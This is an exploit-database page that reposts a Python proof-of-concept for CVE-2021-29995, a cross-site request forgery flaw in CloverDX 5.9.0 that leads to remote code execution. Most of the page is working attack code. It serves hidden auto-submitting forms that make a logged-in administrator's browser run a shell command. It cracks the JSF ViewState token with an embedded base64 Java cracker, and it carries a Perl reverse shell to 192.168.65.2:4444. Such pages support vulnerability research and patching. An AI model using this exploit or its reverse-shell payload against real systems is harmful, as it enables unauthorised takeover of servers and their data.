Advertisement






CloverDX 5.9.0 Code Execution / Cross Site Request Forgery

CVE Category Price Severity
CVE-2021-29995 CWE-352 $5000 Critical
Author Risk Exploitation Type Date
Unknown Critical Remote 2021-07-30
CPE
cpe:cpe:/a:cloverdx:cloverdx:5.9.0
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070172

Below is a copy:

CloverDX 5.9.0 Code Execution / Cross Site Request Forgery
# Exploit Title: CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE)
# Date: 14.04.2021
# Exploit Author: niebardzo
# Vendor Homepage: https://www.cloverdx.com/
# Software Link: https://github.com/cloverdx/cloverdx-server-docker
# Version: 5.9.0, 5.8.1, 5.8.0, 5.7.0, 5.6.x, 5.5.x, 5.4.x
# Tested on: Docker image - https://github.com/cloverdx/cloverdx-server-docker
# CVE : CVE-2021-29995

# Replace the target, payload and port to host the exploitation server. Exploit requires, inbound connection to CloverDX
# Victim authenticated to CloverDX and the java to run the ViewStateCracker.java.
# Reference for cracking ViewState:
# https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html
# https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2 
#


import http.server
import socketserver
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
from bs4 import BeautifulSoup
import subprocess
import sys
import json


class ExploitHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.end_headers()

# replace with your own target
target = "http://localhost:8080"

query_comp = parse_qs(urlparse(self.path).query)
if "target" in query_comp:
target = query_comp["target"][0]

req = requests.get(target+"/clover/gui/login.jsf")

if req.status_code != 200:
sys.exit(-1)

# parse the reponse retrieve the ViewState
soup = BeautifulSoup(req.text, "html.parser")
cur_view_state = soup.find("input", {"name": "javax.faces.ViewState"})["value"]

# Use the ViewstateCracker.java to get new Viewstate.
new_view_state = subprocess.check_output(["java", "ViewstateCracker.java", cur_view_state])
new_view_state = new_view_state.decode("utf-8").strip()
print(new_view_state)
if new_view_state == "6927638971750518694:6717304323717288036":
html = ("<!DOCTYPE html><html><head></head><body><h1>Hello Clover Admin!</h1><br>"
+ "<script>window.setTimeout(function () { location.reload()}, 1500)</script></body></html>")
else:
html = ("<!DOCTYPE html><html><head>"
+ "<script>"
+ "function exec1(){document.getElementById('form1').submit(); setTimeout(exec2, 2000);}"
+ "function exec2(){document.getElementById('form2').submit(); setTimeout(exec3, 2000);}"
+ "function exec3(){document.getElementById('form3').submit(); setTimeout(exec4, 2000);}"
+ "function exec4(){document.getElementById('form4').submit();}"
+ "</script>"
+ "</head><body onload='exec1();'><h1>Hello Clover Admin! Please wait here, content is loading...</h1>"
+ "<script>history.pushState('','/');</script>"
+ "<form target='if1' id='form1' method='GET' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target)
+ "<input type='submit' value='' style='visibility: hidden;'></form> " 
+ "<form target='if2' id='form2' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
+ "<input type='hidden' value='headerForm:manualListenerItem' name='javax.faces.source'>" 
+ "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" 
+ "<input type='hidden' value='allContent' name='javax.faces.partial.render'>" 
+ "<input type='hidden' value='headerForm:manualListenerItem' name='headerForm:manualListenerItem'>"
+ "<input type='hidden' value='headerForm' name='headerForm'>"
+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":",":")) 
+ "<input type='submit' value='' style='visibility: hidden;'></form> "
+ "<form target='if3' id='form3' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
+ "<input type='hidden' value='manualListeneForm:taskType' name='javax.faces.source'>" 
+ "<input type='hidden' value='manualListeneForm:taskType' name='javax.faces.partial.execute'>" 
+ "<input type='hidden' value='manualListeneForm:taskFormFragment' name='javax.faces.partial.render'>" 
+ "<input type='hidden' value='valueChange' name='javax.faces.behavior.event'>"
+ "<input type='hidden' value='change' name='javax.faces.partial.event'>"
+ "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>"
+ "<input type='hidden' value='shell_command' name='manualListeneForm:taskType_input'>" 
+ "<input type='hidden' value='on' name='manualListeneForm:saveRunRecord_input'>"
+ "<input type='hidden' value='true' name='manualListeneForm:manualVariablesList_collapsed'>" 
+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":",":")) 
+ "<input type='submit' value='' style='visibility: hidden;'></form> "
+ "<form target='if4' id='form4' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
+ "<input type='hidden' value='manualListeneForm:execute_button' name='javax.faces.source'>" 
+ "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" 
+ "<input type='hidden' value='rightContent' name='javax.faces.partial.render'>" 
+ "<input type='hidden' value='manualListeneForm:execute_button' name='manualListeneForm:execute_button'>" 
+ "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>" 
+ "<input type='hidden' value='' name='manualListeneForm:properties:propertiesTable:propName'>" 
+ "<input type='hidden' value='' name='manualListeneForm:properties:propertiesTable:propValue'>" 
+ "<input type='hidden' value='' name='manualListeneForm:taskType_focus'>" 
+ "<input type='hidden' value='shell_command' name='manualListeneForm:taskType_input'>"
#
# Below is the HTML encoded perl reverse, replace with your own payload, remember to HTML encode.
# 
+ "<input type='hidden' value='perl -e 'use Socket;$i="192.168.65.2";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'' name='manualListeneForm:shellEditor'>" 
+ "<input type='hidden' value='' name='manualListeneForm:workingDirectory'>" 
+ "<input type='hidden' value='10000' name='manualListeneForm:timeout'>" 
+ "<input type='hidden' value='true' name='manualListeneForm:scriptVariablesList_collapsed'>" 
+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":",":")) 
+ "<input type='submit' value='' style='visibility: hidden;'></form> "
+ "<iframe name='if1' style='display: hidden;' width='0' height='0' frameborder='0' ></iframe>"
+ "<iframe name='if2' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
+ "<iframe name='if3' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
+ "<iframe name='if4' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
+ "</body></html>")

self.wfile.write(bytes(html,"utf-8"))


base64_enc_viewstatecracker = "CnB1YmxpYyBjbGFzcyBWaWV3c3RhdGVDcmFja2VyIHsKICAvKiBTVEFSVCBQQVJUIDEgKi8KICBwdWJsaWMgc3RhdGljIGZpbmFsIGludCBvZmZzZXQgICAgID0gMzI7CiAgcHVibGljIHN0YXRpYyBmaW5hbCBpbnQgaXRlcmF0aW9ucyA9IDY1NTM2OwoKICBwdWJsaWMgc3RhdGljIGZpbmFsIFN0cmluZyBnZW5lcmF0ZU5ld1ZpZXdzdGF0ZShmaW5hbCBsb25nIGlkSW5Mb2dpY2FsTWFwLCBmaW5hbCBsb25nIGlkSW5BY3R1YWxNYXApIHsKICAgIGZpbmFsIGxvbmcgZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwICA9IGlkSW5Mb2dpY2FsTWFwID4+PiBvZmZzZXQ7CiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXAgPSAoKGlkSW5Mb2dpY2FsTWFwIDw8IG9mZnNldCkgPj4+IG9mZnNldCk7CiAgICBmaW5hbCBsb25nIGZpcnN0MzJCaXRzT2ZJZEluQWN0dWFsTWFwICAgPSBpZEluQWN0dWFsTWFwID4+PiBvZmZzZXQ7ICAgICAgICAgLy8gVmVyaWZpY2F0aW9uCiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkFjdHVhbE1hcCAgPSAoKGlkSW5BY3R1YWxNYXAgPDwgb2Zmc2V0KSA+Pj4gb2Zmc2V0KTsgLy8gVmVyaWZpY2F0aW9uCiAgICAvKiBFTkQgUEFSVCAxICovCgogICAgLyogU1RBUlQgUEFSVCAyICovCiAgICBsb25nIHRoZV9zZWVkID0gMUw7CgogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBpdGVyYXRpb25zOyBpKyspIHsKICAgICAgbG9uZyB0bXBfc2VlZCA9ICgoZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwIDw8IDE2KSArIGkpOwogICAgICBpZiAoKChpbnQpKCgodG1wX3NlZWQgKiAweDVERUVDRTY2REwgKyAweEJsKSAmICgoMUwgPDwgNDgpIC0gMSkpID4+PiAxNikpID09IHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXApIHsKICAgICAgICAvL1N5c3RlbS5vdXQucHJpbnRsbigiU2VlZCBmb3VuZDogIiArIHRtcF9zZWVkKTsKICAgICAgICB0aGVfc2VlZCA9IHRtcF9zZWVkOwogICAgICAgIGJyZWFrOwogICAgICB9CiAgICB9CiAgICAvKiBFTkQgUEFSVCAyICovCgogICAgLyogU1RBUlQgUEFSVCAzICovCiAgICAvLyBHZW5lcmF0ZSBudW1iZXIgMiAoU2Vjb25kIE51bWJlciBvZiBpZEluTG9naWNhbE1hcCkKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwoKICAgIC8vQ2FsY3VsYXRlIHRoZSB2YWx1ZSBvZiBpZEluQWN0dWFsTWFwCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgLyogRU5EIFBBUlQgMyovCgogICAgLyogU1RBUlQgUEFSVCA0Ki8KICAgIC8qIENhbGN1bGF0ZSBhIG5ldyBpZEluTG9naWNhbE1hcCAqLwoKICAgIC8vIEdlbmVyYXRlIHRoZSBmaXJzdCBoYWxmIG9mIHRoZSBmaXJzdCBMb25nCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIGludCBudW1iZXJfNSA9ICgoaW50KSh0aGVfc2VlZCA+Pj4gMTYpKTsKCiAgICAvLyBHZW5lcmF0ZSB0aGUgc2Vjb25kIGhhbGYgb2YgdGhlIGZpcnN0IExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl82ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vSGVyZSBpcyB0aGUgbmV3IGlkSW5Mb2dpY2FsTWFwCiAgICBsb25nIG5ld19sb25nXzEgPSAoKChsb25nKW51bWJlcl81IDw8IDMyKSArIG51bWJlcl82KTsKCgogICAgLyogQ2FsY3VsYXRlIGEgbmV3IGlkSW5BY3R1YWxNYXAgKi8KCiAgICAvLyBHZW5lcmF0ZSB0aGUgZmlyc3QgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl83ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vIEdlbmVyYXRlIHRoZSBzZWNvbmQgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl84ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vCiAgICBsb25nIG5ld19sb25nXzIgPSAoKChsb25nKW51bWJlcl83IDw8IDMyKSArIG51bWJlcl84KTsKCiAgICByZXR1cm4gbmV3X2xvbmdfMSArICI6IiArIG5ld19sb25nXzI7CiAgICAvKkVORCBQQVJUNCovCiAgfQogcHVibGljIHN0YXRpYyB2b2lkIG1haW4gKFN0cmluZyBhcmdzW10pIHsKCVN0cmluZyB0b2tlbiA9IGFyZ3NbMF07CglTdHJpbmdbXSBsb25ncyA9IHRva2VuLnNwbGl0KCI6Iik7Cglsb25nIGxvbmcxID0gTG9uZy5wYXJzZUxvbmcobG9uZ3NbMF0pOwoJbG9uZyBsb25nMiA9IExvbmcucGFyc2VMb25nKGxvbmdzWzFdKTsKCVN0cmluZyBuZXdUb2tlbiA9IGdlbmVyYXRlTmV3Vmlld3N0YXRlKGxvbmcxLGxvbmcyKTsKCVN5c3RlbS5vdXQucHJpbnRsbihuZXdUb2tlbik7Cgp9Cgp9Cg=="

#
# This drops ViewstateCracker.java from above, ref: https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2
#

with open("ViewstateCracker.java","w") as f:
    f.write(b64decode(bytes(base64_enc_viewstatecracker, 'utf-8')).decode('utf-8'))


exploit_handler = ExploitHandler

PORT = 6010

exploit_server = socketserver.TCPServer(("", PORT), exploit_handler)

exploit_server.serve_forever()
            

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum